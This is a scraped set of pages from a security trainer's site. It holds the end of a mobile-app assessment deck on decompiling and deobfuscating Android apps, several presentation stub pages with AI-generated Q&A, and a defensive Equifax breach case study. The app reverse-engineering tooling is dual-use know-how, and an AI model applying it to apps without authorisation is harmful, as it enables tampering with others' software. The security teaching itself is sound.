(dex2jar, Procyon, jad-x bytecodeviewer) •Jad-X is an easy and free one –providing decompiled Java that is readable directly from the .apk •bytecodeviewer is useful: shows multiple decompilers side-by-side •Others: JEB ($), dex2jar/JD-GUI •In this app, I reviewed the facebookintegration, as well as the billing information 67 Obfuscated Code•Tools to obfuscate the code: Dexguard, Proguard, DexProtector •Developer defined methods and variables only •Simplify can help here –removes dead / excessive code private String a(String str, String str2, Boolean bool) { int length = str.length() / 2; int length2 = str2.length() / 2; this.b[0] = str.substring(0, length); this.b[1] = str.substring(length); this.c[0] = str2.substring(0, length2); this.c[1] = str2.substring(length2); return bool.booleanValue() ? this.b[1] + this.c[0] + this.b[0] + this.c[1] : ""; }Jadx Before Simplify private String a(String str, String str2, Boolean bool) { return bool.booleanValue() ? this.b[1] + this.c[0] + this.b[0] + this.c[1] : ""; }Jadx After Simplify 68 Obfuscated Code (2)•Read the code, refactor the code, rename the code •JEB (commercial tool) lets you do that right in the tool •Cheap way: •jad-x decompile at command line •open project in android studio •Read code, refactor methods and variables (globally renames) •Joshua Wright (@joswr1ght) great webcast on this 69 Methodology –Tools•Tools to be able to do this work; still extensive manual work •https://bit.ly/crow-gmob has an old tool list (Yes, I suck :p) •https://github.com/tanprathan/MobileApp-Pentest- Cheatsheet 70 Methodology –Distributions•There are some pre-built distributions which give you an environment to work from •Santoku Linux (from NowSecure) •Kali Linux •MobiSec(SecureIdeas) •Androlab(androl4b) •Give you the benefit of the tools already set up •Probably doesn’t have everything you need, but a good start 71 Exercise v Donuts –Equity Achieved?•For app assessment, maintain the program through updates to approved applications •Improve analytical capability •Keep up to date on attacker trends •Enhance personal security posture, uninstall or disabled those bad for you donutApps™ •Develop exercises for yourself and share techniques with others 72 @CCrowMontance•This slide deck available: https://mgt517.com/cell as are many other decks up one folder in Public. •Stay safe, assess and use your mobile devices with an informed view of the benefits and risks… •I truly want to hear your thoughts on this. You Tweet? Montance® LLC 73 73 --- ## Source: https://montance.com/questions.php?id=144 [![pptx](content/images/icons/pptx.svg) Educause V0toVHard FULL](Educause-V0toVHard-FULL.pptx) Educause V0toVHard FULL Presentation by Christopher Crowley (2020-04) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Educause V0toVHard FULL ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/Educause-V0toVHard-FULL.pptx **[Error extracting https://montance.com/Educause-V0toVHard-FULL.pptx: Server returned HTML instead of a file.]** --- ## Source: https://montance.com/questions.php?id=145 [![pptx](content/images/icons/pptx.svg) Educause V0toVHard Short](Educause-V0toVHard-Short.pptx) Educause V0toVHard Short Presentation by Christopher Crowley (2020-04) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Educause V0toVHard Short ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/Educause-V0toVHard-Short.pptx **[Error extracting https://montance.com/Educause-V0toVHard-Short.pptx: Server returned HTML instead of a file.]** --- ## Source: https://montance.com/questions.php?id=123 [![pdf](content/images/icons/pdf.svg) SOAR Austin.pdf](https://drive.google.com/file/d/1BiW5xM3_uZ2kITqs8QY3OJzJtoCR2VDA/view?usp=drive_link) SOAR Austin Presentation covering SOAR titled 'SOAR Austin'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1BiW5xM3_uZ2kITqs8QY3OJzJtoCR2VDA/view?usp=drive_link **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1BiW5xM3_uZ2kITqs8QY3OJzJtoCR2VDA/view?usp=drive_link]** --- ## Source: https://montance.com/questions.php?id=142 [![pdf](content/images/icons/pdf.svg) 2019 SOC Survey: Common and Best Practices for Security Operations Centers](https://www.sans.org/white-papers/39060/?socclass=true) 2019 SOC Survey Presentation by Christopher Crowley (2019-07-09) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for 2019 SOC Survey ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=122 [![pdf](content/images/icons/pdf.svg) Denver Equifax SO.pdf](https://drive.google.com/file/d/1jH2Geq0vaUYTUgPCIH-pojj1IwcLcq1y/view?usp=drive_link) Denver Equifax So Presentation covering Case Study titled 'Denver Equifax So'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What was the root cause of the Equifax breach? A: Failure to patch a known vulnerability in Apache Struts. * Q: What specific vulnerability was exploited? A: CVE-2017-5638. * Q: What was the 'detection deficit' in the Equifax case? A: Approximately 76 days. * Q: What process failure contributed to the breach? A: Lack of an effective asset inventory and patch management process. * Q: What was the role of 'encryption' in the breach? A: The attackers used encrypted channels to exfiltrate data, which was not inspected. * Q: What is 'Command and Control' (C2)? A: The method attackers use to communicate with compromised systems. * Q: What is 'Web Shell'? A: A malicious script uploaded to a web server to enable remote administration. * Q: What is 'Lateral Movement'? A: Moving from the initial compromise point to other systems in the network. * Q: What is 'Data Exfiltration'? A: The unauthorized transfer of data from a computer. * Q: What is the lesson regarding 'Third Party Risk'? A: Organizations are responsible for the security of the software components they use. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1jH2Geq0vaUYTUgPCIH-pojj1IwcLcq1y/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1jH2Geq0vaUYTUgPCIH-pojj1IwcLcq1y/view?usp=drive_link]** 2019 -07 Security Operations to Avoid Being the Next EquifaxChristopher Crowley - CCrowMontance Copyright Chri stopher Crowley Security Operations 2 Introduction Copyright Chri stopher Crowley Security Operations 3 Christopher Crowley •Background: Had root on most systems in employer at 15 years old (Not much #CYBER in the 80s) •Sectors: Defense, Education, Energy, Government, Financial, Software Development, Telecom •Regions: US, Europe, Middle East, Asia, Australia •Currently: Consultant, author of (SANS deprecated) MGT517. Which is now: SecOps (soc -class.com), SANS: SEC511, SEC575, SEC504, … •SOC build timeline project: https://www.montance.com/soc/timelineSANS Senior Instructor Twitter: CCrowMontance Copyright Chri stopher Crowley Security Operations 4 Presentation Available to Download https://mgt517.com/soc You can take photos & tweet if that’s your thing, but I would really like you to pay attention to me, which is why I’m making this slide deck available to youStop taking notes Copyright Chri stopher Crowley Security Operations 5 Terminology & Background Copyright Chri stopher Crowley Security Operations 6 How This Will Work •I’m going to give you some background so you understand where I’m coming from •This is a lot of terms, technology, mindset, etc. •It will be helpful when I get into the story that I want to tell youMy Approach Copyright Chri stopher Crowley Security Operations 7 Full Spectrum Capability •The US DOD Defense Science Board describes adversaries in six tiers •The top tier attackers are nations state funded, and are in the “Billion Dollar Club” in capability of spending •This type of attacker can bring the full capability of traditional intelligence capabilityThreat Taxonomy Copyright Chri stopher Crowley Security Operations 8 Examples •MITRE / Carson Zimmerman: https://mgt517.com/csoc -mitreCSOC – Cyber Security Operations Center Copyright Chri stopher Crowley Security Operations 9 Functional Areas of a SOC Crowley Defined Steering Committee Command Center Network Security MonitoringThreat Intelligence Incident Response Forensics Self-Assessment Copyright Chri stopher Crowley Security Operations 10 Models of Analysis Weltanschauung •Caltagirone, Pendergrast, Betz •The Diamond Model of Intrusion Analysis •All events have the elements: adversary, infrastructure, capability, and victim •Edge connected, sequenced graphs of these nodes are Activity threads •Events are described by tuples with feature and confidence E = {f1,c1; f2,c2;…}Diamond Model Copyright Chri stopher Crowley Security Operations 11 Models of Analysis Weltanschauung •Hutchins, Cloppert, Amin published Intelligence -Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains •Based on military targeting doctrine of •Find, Fix, Track, Target, Engage, and Assess •Intrusion Kill Chain is: Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command and Control, Actions on ObjectivesPhases In Diamond Model: Kill Chain Copyright Chri stopher Crowley Security Operations 12 Diamond Model What Else? Interruption: Beyond Prevent/Detect Adversary Interruption Explanation Detect Enhanced methods for identifying the presence of adversary activity. Degrade Reduce the ability of the adversary to perform operations, but not able to completely stop actions. Disrupt Stop adversary action while it is occurring. Deny Prevent adversary from completing an action. Deceive Provide misinformation to adversary to cause expenditure of resources, cause mistakes, and/or facilitate detection. Copyright Chri stopher Crowley Security Operations 13 Phin Phisher DefenseHack Back - A DIY Guide Phineas Phisher vs. Hacking Team – Diamond Model - Initial Entry Kill Chain Phases External Facing Appliance Notes Interruption? Reconnaissance A: Phin; I: compromised assets; C: network scans; V: HT networkScanning performed Weaponization A: Phin; I: unknown; C: exploit development; V: appliance OSDevelops custom exploit Delivery uncertain Exploitation uncertain Gather more info? Installation A; I: custom firmware;C: firmware ;V: applianceCustom firmware Command and ControlA; I: DNS servers; C: remote access; V: applianceDNS Control Channels Action on ObjectivesA; I: Network access in HT DMZ; C: firmware implant; V: applianceInitial entry grants access to environment Copyright Chri stopher Crowley Security Operations 14 Cultural Dimensions Weltanschauung •Power Distance Index (PDI) •Individualism versus Collectivism (IDV) •Masculinity versus Femininity (MAS) •Uncertainty Avoidance Index (UAI) •Long Term Orientation versus Short Term Normative Orientation (LTO) •Indulgence versus Restraint (IND)Geert Hofstede – National Culture Copyright Chri stopher Crowley Security Operations 15 Cultural Dimensions Weltanschauung • Means -oriented vs. Goal -oriented • Internally driven vs. Externally driven • Easygoing work discipline vs. Strict work discipline • Local vs. Professional • Open system vs. Closed system • Employee -oriented vs. Work -oriented • Degree of acceptance of leadership style • Degree of identification with your organizationGeert Hofstede – Organizational Culture Copyright Chri stopher Crowley Security Operations 16 Sequence of Equifax Events Copyright Chri stopher Crowley Security Operations 17 Walk Through •Next we’ll talk through what is known of the sequence of events •I’ll make important points as we go •But after the full sequence we’ll review lessons learned in detail •This is all in 2017 (except the SSL certificate)Will Discuss Lessons Learned Afterward Copyright Chri stopher Crowley Security Operations 18 Sequence of Events Equifax, 2017 Jan 31, 2016Certificate allowing SSL visibility expires Feb 14Struts vulnerability identified Mar 7Struts Public Disclosure - CVE -2017 -5638 – CVSS BASE: 10.0 Copyright Chri stopher Crowley Security Operations 19 Sequence of Events Equifax, 2017 Mar 8 Equifax notified by US -CERT (Probably generic notice to many orgs) Mar 9Internal Equifax notification: Patch Struts within 48 hours Mar 10Post exploit discovery reveals this is initial entry date / time by intruder (48 hours) Copyright Chri stopher Crowley Security Operations 20 Sequence of Events Equifax, 2017 Mar 14Internal Emerging Threats team releases Snort rule to identify attack traffic. Countermeasures team installs it Mar 15Updated McAfee signatures provides check for Struts vulnerability. Scans conducted, no vulnerabilities reported Mar 16Global Vulnerability Team briefs on vulnerability and tells teams to patch, everyone sent copies of slides Copyright Chri stopher Crowley Security Operations 21 Sequence of Events Equifax, 2017 May 13Struts front end to ACIS system – ACIS houses customer information, and hasn’t been updated in decades May 13 – July 30Attackers gain initial access via Struts, maintain access using installed webshells InfraTwo application servers, two web servers Firewall protecting network segment, but web servers exposed Copyright Chri stopher Crowley Security Operations 22 Infrastructure Diagram (Simplified) Copyright Chri stopher Crowley Security Operations 23 Sequence of Events Equifax, 2017 May 13 - July 30 Web shells installed on both application servers from web servers May 13 – July 30Accessible file share mounted, contained file with plain text credentials (contrary to policy) File shares not segmented within “legacy environment” Copyright Chri stopher Crowley Security Operations 24 Sequence of Events Equifax, 2017 May 13 – July 30Credentials stolen from file shares used to access database servers Segmentation of databases not performed, all Equifax DBs available from within ACIS May 13 – July 30Access to the data base servers included queries for meta data to identify the information found within tables 9,000 total queries performed, undetected and unchallenged Copyright Chri stopher Crowley Security Operations 25 Sequence of Events Equifax, 2017 May 13 – July 309,000 queries, 265 had PII information No secondary protection such as encryption within the database for PII data InfraVisibility for monitoring was expected to be performed by SSL intercept capable inspection of traffic into the ACIS network Copyright Chri stopher Crowley Security Operations 26 Sequence of Events Equifax, 2017 (January 31, 2016)Certificate allowing SSL visibility expires Copyright Chri stopher Crowley Security Operations 27 Sequence of Events Equifax, 2017 July 29Countermeasures team installs new certificates to SSLV system (67 new certs) July 29Monitoring occurs, due to newly returned visibility July 29Obvious unauthorized network connection from ACIS environment to IP address in China Copyright Chri stopher Crowley Security Operations 28 Sequence of Events Equifax, 2017 July 29Full PCAP tool used to inspect traffic related to specific IP address July 2910 MB of data transferred during this session No previous full PCAP available due to SSL cert July 29ISP for this IP address blocked Copyright Chri stopher Crowley Security Operations 29 Sequence of Events Equifax, 2017 July 30Vulnerability Scanning of ACIS environment performed July 30Vulnerability scan results indicate SQL injection flaws, and insecure direct object reference issues July 30Forensic investigation of hosts indicates that PII was access by unauthorized resources Copyright Chri stopher Crowley Security Operations 30 Sequence of Events Equifax, 2017 July 30Second malicious IP address – in Germany identified as accessing ACIS environment 12:41pmACIS environment taken offline “for emergency maintenance.” July 30 Executives and Senior Executives briefed on status of breach Copyright Chri stopher Crowley Security Operations 31 Sequence of Events Equifax, 2017 ~Aug 14Effort of 50 -60 people start working on remediation effort (Project Sparta) Substantial effort put forth to develop customer facing portal Sept 4143 Million affected users identified Copyright Chri stopher Crowley Security Operations 32 Sequence of Events Equifax, 2017 Sept 7Public notification Website, Call Centers Formal notification to all 50 states Copyright Chri stopher Crowley Security Operations 33 Sequence of Events Equifax, 2017 Sept 7 - 30Website clones generated Official Equifax twitter tweets link to wrong site Mis-information provided to customers Website intermittently unavailable, code inefficiencies due to short fuse development Copyright Chri stopher Crowley Security Operations 34 Sequence of Events Equifax, 2017 Sept 15CISO and CSO retire Sept 26CEO Retires Oct 2Forensic investigation finalized, number increases from 143 to 145.5 CIO for Global Platforms (ACIS) fired Copyright Chri stopher Crowley Security Operations 35 Sequence of Events Equifax, 2017 Early 2018Affected individuals calculation rises to ~148 million Copyright Chri stopher Crowley Security Operations 36 Sequence of Events Equifax, 2017 Final Details of Data Breach •Final Stats •Name: 146.6M •DOB: 146.6M •SSN: 145.5M g@M3 () \/3R  Copyright Chri stopher Crowley Security Operations 37 Lessons Learned from Equifax Copyright Chri stopher Crowley Security Operations 38 Lessons Learned •When there are lots of items like this, I try to enumerate them in an ordered fashion, so I’m going to go through the timeline above and point out some items. Would take days to consider and report all •I typically would do this with Kill Chain or Diamond Model to explain the intervention opportunities, next slide is a repeat example from another famous compromise: Phin Phisher attacking Hacking TeamWhere to Start? Copyright Chri stopher Crowley Security Operations 39 Phin Phisher DefenseHack Back - A DIY Guide Phineas Phisher vs. Hacking Team – Diamond Model - Initial Entry Kill Chain Phases External Facing Appliance Notes Interruption? Reconnaissance A: Phin; I: compromised assets; C: network scans; V: HT networkScanning performed Weaponization A: Phin; I: unknown; C: exploit development; V: appliance OSDevelops custom exploit Delivery uncertain Exploitation uncertain Gather more info? Installation A; I: custom firmware;C: firmware ;V: applianceCustom firmware Command and ControlA; I: DNS servers; C: remote access; V: applianceDNS Control Channels Action on ObjectivesA; I: Network access in HT DMZ; C: firmware implant; V: applianceInitial entry grants access to environment Copyright Chri stopher Crowley Security Operations 40 Lessons Learned •A good way to reinforce a lesson is to review it shortly after the lesson, to reinforce the thoughts •If you want, take this slide deck, go through the preceding Equifax sequence and enumerate suggested interruption opportunities •In the interest of time, I’m going to discuss some of them in the following slides •Feel free to send your results to me: chris @ montance.comYour Homework Copyright Chri stopher Crowley Security Operations 41 Reminder: Diamond Model What Else? Interruption: Beyond Prevent/Detect Adversary Interruption Explanation Detect Enhanced methods for identifying the presence of adversary activity. Degrade Reduce the ability of the adversary to perform operations, but not able to completely stop actions. Disrupt Stop adversary action while it is occurring. Deny Prevent adversary from completing an action. Deceive Provide misinformation to adversary to cause expenditure of resources, cause mistakes, and/or facilitate detection. Copyright Chri stopher Crowley Security Operations 42 (January 31, 2016)Certificate allowing SSL visibility expires Interruption OpportunitiesSequence of Events Equifax, 2017 Detect: Scan for certificatesDetect: SIEM feed healthDisrupt: Web app firewallDeny: Fail Closed Copyright Chri stopher Crowley Security Operations 43 Zimmerman: Coverage •SIEM report assessing the feed performance •Would have easily identified the SSL visibility lapseCoverage Report Example Copyright Chri stopher Crowley Security Operations 44 Crowley Incident Avoidability •On a (discrete) scale of 1,2,3, was it avoidable? •1 means a measure, already available in the environment wasn’t applied and resulted in the incident •2 means a measure is available in the larger environment and something (economic, political) prevents implementing it within the organization •3 means nothing is available to prevent that method of attack •Assess every issue identified in this waySimple: 1, 2, 3 1•Patch available, but not applied 2•Patch available, risk decision not to apply 3•No patch available (zero day) Copyright Chri stopher Crowley Security Operations 45 Crowley Incident Avoidability Equifax Score: 1 1•Patch available, but not applied Copyright Chri stopher Crowley Security Operations 46 Crowley Incident Avoidability •You don’t care about US Congress (or Equifax Board of Directors), but when you have to go explain what happened to whatever authority you answer to, do you want to be explaining why you were a 1? •They were all CYA, fired this person, we’re making improvements, etc.Equifax Score: 11•Patch available, but not applied Copyright Chri stopher Crowley Security Operations 47 Impact Level Definition •Few systems (or only a specific type) •Unimportant systems •Unimportant data Low •More systems (or many common types) •Important or high value person’s, account, or system •Important data at risk Moderate •Most systems (or almost all types) •Highest level accounts, users, and systems •Business critical data HighDoes Your Management Understand This Already? Copyright Chri stopher Crowley Security Operations 48 Impact Category Definition •Low – minimal function disruption •Moderate –substantial disruption •High –complete disruptionFunctional •Intellectual Property (L/M/H) •Integrity Manipulation (L/M/H) •Privacy violated (such as PII / PHI)Informational •Regular – predictable using resources on hand •Supplemented –predictable with augmented resources •Unrecoverable –data breach which cannot be undoneRecoverableDoes Your Management Understand This Already? Copyright Chri stopher Crowley Security Operations 49 Scale: 1-10 3 7 10 Low Moderate High 3Functional 9 21 30 7Informational 21 49 70 10Recoverable 30 70 100Impact Quantification Example Quantification Current Incident 191 Legacy System #8 - ACIS Copyright Chri stopher Crowley Security Operations 50 More Metrics? •Carson Zimmerman and I co -authored a talk that he gave at FIRST last month: •https://mgt517.com/first -metricsIf You Like Metrics Copyright Chri stopher Crowley Security Operations 51 The Key to This Talk •So, take the most important asset you have, and think about how that isn’t being protected effectively •Assume that protection will fail, then think about how you can prevent catastrophic failure, as well as what you’ll do when failure (small or large) happens •Let’s check out how Equifax performed when they identified the issueYour Company, Like Equifax, Has Something of Value Copyright Chri stopher Crowley Security Operations 52 Communication Is Critical Don’t Create a New Domain During a Security Incident •First version of Equifax imposter page, courtesy, internet archive Copyright Chri stopher Crowley Security Operations 53 Equifax Dumpster Fire •Again, don’t create a new website •If you do, be sure you tweet the correct address:What Not to Do During a Security Incident https://www.equifaxsecurity2017.com/ 53 Copyright Chri stopher Crowley Security Operations 54 Resolution to Asset Discovery •System recording the responsible party for each system •Owner •Contact for Operations •Data experts •Boundaries •Scenarios of compromise (actual past, or industry specific) •Risk management •Incident handling specific details •Public relations point of contact •Legal requirements and notificationFundamental Error – No Culpability/Responsibility: Until After Breach Copyright Chri stopher Crowley Security Operations 55 Does Anyone Do Asset Discovery? •Seriously, is the technology incapable of identifying systems on your network? •I think the disappointment is mapping to useful organizational contactA Technology Problem? Copyright Chri stopher Crowley Security Operations 56 Matrix Depiction Network Infrastructure •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate - HighServer Infrastructure •Owner: CIO •POC: Thomas Racks •Impact: Low - HighWorkstations •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate – HighFinancial •Owner: CFO •POC: Sarah Banks •Impact: Moderate - HighJABB •Owner: BB Acct POC •POC: Vincent Lehman •Impact: Moderate - HighAMD •Owner: AMD Acct POC •POC: Alexandra Harris •Impact: Moderate – HighGCCS •Owner: GCCS Acct POC •POC: Victoria Houston •Impact: Moderate – HighMEH •Owner: MEH Acct POC •POC: Iggy Calendula •Impact: Low - ModerateGeneric Server System •Owner: CIO •POC: SOC Manager •Impact: Low –HighGeneric System •Owner: CIO •POC: SOC Manager •Impact: Low –HighGeneric Cloud Hosted System •Owner: CIO •POC: SOC Manager •Impact: Low - HighPart 1 - Capabilities Mapped to System Types •Centralized knowledge base of known and unknown system types: reporting requirements, service level objectives (SLO), POCs, Strategies, reporting SLAs, customers, cyber insurance •Handling strategies, guidance for impact determination, IP address ranges, operating system types, exceptions, known vulnerabilities, previous incident types, associated exercises, response capabilities applied based on per -system and per-incident type •Internal dependencies, cloud contracts, external auditors, legal council Copyright Chri stopher Crowley Security Operations 57 Matrix Depiction Internal CapabilityRecon Weapon - izationDelivery Exploit Install Command & ControlAction on Objectives Spam Gateway + -- ++ +- +- -- - EDR- -- + + + + +- NIDS- -- + +- + + - Network Proxy + - ++ - +- ++ + IR - Containment - -- - - - + +Part 2 – Defense Capabilities List Versus Kill Chain Phase •List your capabilities against attacker cyber threat kill chain (or ATT&CK) phases, to know what you have at your disposal in unfamiliar circumstances Copyright Chri stopher Crowley Security Operations 58 Matrix Depiction – Invincea Example •Here Invincea has listed the NIST Cyber Security Framework (CSF) and identified adversary TTPs (and specific targets) cross walked to capabilities and technology Copyright Chri stopher Crowley Security Operations 59 Equifax Issue: Sprawling IT ProductRegionalGlobalGlobal Headquarters APAC Product 1 Product 2Europe Product 3 Product 4In fo r m at io nD ir ec ti o n Copyright Chri stopher Crowley Security Operations 60 Response Capability Empowerment •Does the police department ask permission to cordon off an area, or drive cars fast to chase criminals? Yes, they absolutely do. They have protocols, requirements, and consideration for safety of innocent people. •Identify the authority to conduct response on each type of system, and what is to be done for unknown systems for containment. •Use business continuity plans for eradication and remediation: don’t create new plans unless no business continuity plan exists. Copyright Chri stopher Crowley Security Operations 61 Response Capability Empowerment •Three characters of incident response •Janitorial Services •Fire Fighters •Apex Predators •https://www.mgt517.com/ir3 Copyright Chri stopher Crowley Security Operations 62 Technology Selection Issues •Inadequate “glue” to connect the different tools •Poor selection of tools for the given purpose •Often a result of buying tools prior to understanding the intended purposes •Protection scenarios expressed as “use cases” •Video of Crowley’s presentation on use case development from 2017 SOC Brief is available: https://mgt517.com/use -case (registration required) Copyright Chri stopher Crowley Security Operations 63 Technology Selection Issues •Whatever technologies are selected, each changes with some frequency and must be kept up to date •SIEM in particular, but all other tools require dedicated staff to keep it tuned and operating effectively. Dedicate time for this •This is sometimes transferred to a managed service provider (MSP/MSSP) Copyright Chri stopher Crowley Security Operations 64 Technology Maintenance Issues •SOC relation to standard IT? •Oversight •Embedded •Coordinating •Figure out what you’re going for •Sequence of growth/maturity is often: •Embedded (security activity in name only) •Coordination / Oversight (separate to grow) •Embedded (mature organization with clear picture of what is needed and optimizes effort) Oversight Coordination Embedded Copyright Chri stopher Crowley Security Operations 65 Resolutions: Security Staff Empowerment & Reality Check Copyright Chri stopher Crowley Security Operations 66 Training, Exercise, and Practice •There’s a large group of people responsible that allowed that TLS certificate to expire •It’s some mix of cultural laziness, powerlessness, pride, meekness, etc. but they missed it for a long, long time •Security failed at basic IT OperationsSomeone, Some Group, Some Manager, Some Executive… Copyright Chri stopher Crowley Security Operations 67 Training, Exercise, and Practice •Seek funding for external training •Cultivate internal training development •Practice tasks – required self -improvement time •Scripts, Internal tools, Coding, Mess remediation – 2 hours per week, required, for example •Encourage external presentation by paying for travel to conferences if staff are approved for presentations •Includes time for threat hunting, and other non -alert driven work Copyright Chri stopher Crowley Security Operations 68 Training, Exercise, and Practice •You should develop training & certification plans per staff role •Each role has certs that are •Required for hire (or completion within x days of hire) •Standard training plan sequence •Optional to training plan (but company will pay for)Simple or Complex Training Plan Copyright Chri stopher Crowley Security Operations 69 Monthly Staff Presentations •SOC staff rotates on presenting current technique, issue or problem •This can be an unresolved problem, seeking input and assistance from all SOC areas •Opportunity to share methodology, thought processes, and tools •Should be a formal presentation (slides, Q+A)Self-Improvement, Group Format Copyright Chri stopher Crowley Security Operations 70 Quarterly Internal Training •External training is limited due to lack of time and/or funding •Resolution: Develop internal exercises •Quarterly release of new exercise •Based on current issues and events •Additionally, results in exercises useful for: interviews, onboarding, and keeping staff sharpGroup Self -Challenge Copyright Chri stopher Crowley Security Operations 71 Analytical Methodology •Almost no organizations that I encounter have a methodology in place for performing analysis •There should be a training on analysis as well – few places have this •SANS SEC511 has some of it, ChrisSanders.org has an analysis class online •I’ll discuss Analysis of Competing of Hypothesis (ACH) nextGroup Methodology for Collaborative Performance Copyright Chri stopher Crowley Security Operations 72 Models of Analysis Background •Human mental machinery is fraught with substantial weakness in objectively processing information •We overlook or ignore details that don’t suit our mental models •We resist changing our mind once we’ve decided something is right, even in the face of updated evidence •Experimental results suggest that: experts in their field increase self-assessed confidence level with more data, without corresponding increases in accuracy of analysisACH – Mental Machinery Copyright Chri stopher Crowley Security Operations 73 Models of Analysis Background •We use Situational Logic, Theory Application, and Comparison •Leads to mistakes in analysis •Make assumptions, but explicitly identify them in the analysis •Common analytical failures: •Satisficing – selecting the first, not the best •Incrementalism – variation on same theme, insufficient breadth of scope •Consensus – most popular, not the most accurate •Reason by analogy – selection based on avoiding a previous mistake in analysis •Principals – applying morality to select between the “good” and “bad”ACH – Mental Machinery Copyright Chri stopher Crowley Security Operations 74 Analysis of Competing Hypotheses Background •Decomposing a problem breaks it into sub-elements to allow smaller units for analysis •Externalization of a problem removes it from the mental space it puts it in a tangible space to facilitate more complex manipulation. Draw a graph, build a model, use replicas of the affected systems and test the scenarios you proposeACH – Decomposition and Externalization Copyright Chri stopher Crowley Security Operations 75 Analysis of Competing Hypotheses Background Incident Type Hypothesis 1 Hypothesis 2 Hypothesis 3 … Data 1 Data 2 Data 3 Data 4 …What’s Your Template for Analysis? We’re going to develop these templates. You’re not just to fill out the template, you still need to think! Copyright Chri stopher Crowley Security Operations 76 Analysis of Competing Hypotheses ACH Applied •Let’s look at the data we have, and list some potential explanations •Don’t criticize, kill, or otherwise refute any hypothesis! (We’ll do that later.) •This is hard for most people to do, since we tend to be incremental •Automation: populate hypotheses with all previously encountered explanations for issues1. Brainstorm Copyright Chri stopher Crowley Security Operations 77 Analysis of Competing Hypotheses ACH Applied •Identify the data that we have •Identify data that would be useful, and keep a running list of it to try to acquire it •Orchestrate: Based on the attempt to build out your ACH templates, determine what data would be needed for analysis, and work toward automatically collecting this information through orchestration2. List Data Attributes Copyright Chri stopher Crowley Security Operations 78 Analysis of Competing Hypotheses ACH Applied •Make a chart with the hypotheses on the top and the data elements (created in steps 1 and 2) on the side •Don’t fill it in yet •At some future time, this could potentially be automated for an analyst given ranked / weighted hypotheses sets based on data present for investigation, (we’re probably not there yet)3. Build Matrix Copyright Chri stopher Crowley Security Operations 79 Analysis of Competing Hypotheses ACH Applied •Look for consolidation opportunities •Are two hypotheses essentially the same? •Can we consolidate data elements? •Do we need to add more data elements? •Don’t Automate or Orchestrate: Get the human being to do expert work here4. Assess and Refine Chart Copyright Chri stopher Crowley Security Operations 80 Analysis of Competing Hypotheses ACH Applied •Fill in the numbers •The method we’ll use is: 10 points per row total. Assign the points for that specific data element (not overall) that supports the hypothesis in each column) •Can’t exceed 10 points per row •Sum the points at the bottom6. Tentative Conclusions Copyright Chri stopher Crowley Security Operations 81 Analysis of Competing Hypotheses Background Malware drive by download attemptPhone actually infectedTargeted not from site, but from network user is on Site Accessed when ad showed 5 2 3 Bad Grammar 3 3 3 Compulsion to risky action 3.5 3 3.5 Advertised only on one site 7 1 2 Threatening? 3.5 3 3.5 Reputation weight of domain? 4 3 3 Total: 26 15 18ACH – Example – Spam Advertising These values are the analysis, different analysts would have different values Copyright Chri stopher Crowley Security Operations 82 Analysis of Competing Hypotheses ACH Applied •Look at the matrix. Identify all the rows where the point allocation is close (3,4,4, for example) •Look at the matrix. Identify the rows where there’s a big difference between points (10,0,0 or 7,2,1). These are the data elements that your analysis hinges upon. •Consider: what if that data was wrong? (Analysts dislike) •This could be automated, but the benefit of this is for the analyst to reflect on the conclusions6. Sensitivity Analysis Copyright Chri stopher Crowley Security Operations 83 Analysis of Competing Hypotheses Background Malware drive by download attemptPhone actually infectedTargeted not from site, but fro m network user is on Site Accessed when ad showed5 2 3 Bad Grammar 3 3 3 Compulsion to risky action3.5 3 3.5 Advertised only on one site7 1 2 Threatening? 3.5 3 3.5 Reputation weight of domain? 4 3 3 Total: 26 15 18 Copyright Chri stopher Crowley Security Operations 84 Analysis of Competing Hypotheses ACH Applied •Write a brief explanation of your results (potential for automation and orchestration here) •Identify most likely hypothesis •Identify your assumptions •Identify the sensitivity of your analysis (what does it depend upon being true?) •Identify other hypotheses considered but dismissed7. Report Conclusions Copyright Chri stopher Crowley Security Operations 85 Analysis of Competing Hypotheses ACH Applied •Identify a few things that are likely to happen in the future, based on what you’ve hypothesized is the most likely explanation •This isn’t easy. For example, if you hypothesized an intruder has compromised a host, there will likely be subsequent reconnaissance and pivoting attempts using exploits and password guessing8. Milestones Copyright Chri stopher Crowley Security Operations 86 Analysis of Competing Hypotheses ACH Applied •Give your completed work to your partner analyst •This isn’t escalated to a higher tier, done by a peer analyst •The partner should be able to understand what you wrote and your explanation without you explaining it to him/her – repeat: you’re not allowed to explain the report to your peer . Peer reads it, criticizes it, you improve it •Don’t agree, only point out problems that are present, this is what makes analysis better: criticize to strengthen9. Peer Review (Crowley added) Copyright Chri stopher Crowley Security Operations 87 Analysis of Competing Hypotheses Background •1) Identify hypotheses – brainstorm •2) List attributes – for and against each hypothesis •3) Build matrix – with hypotheses at top, 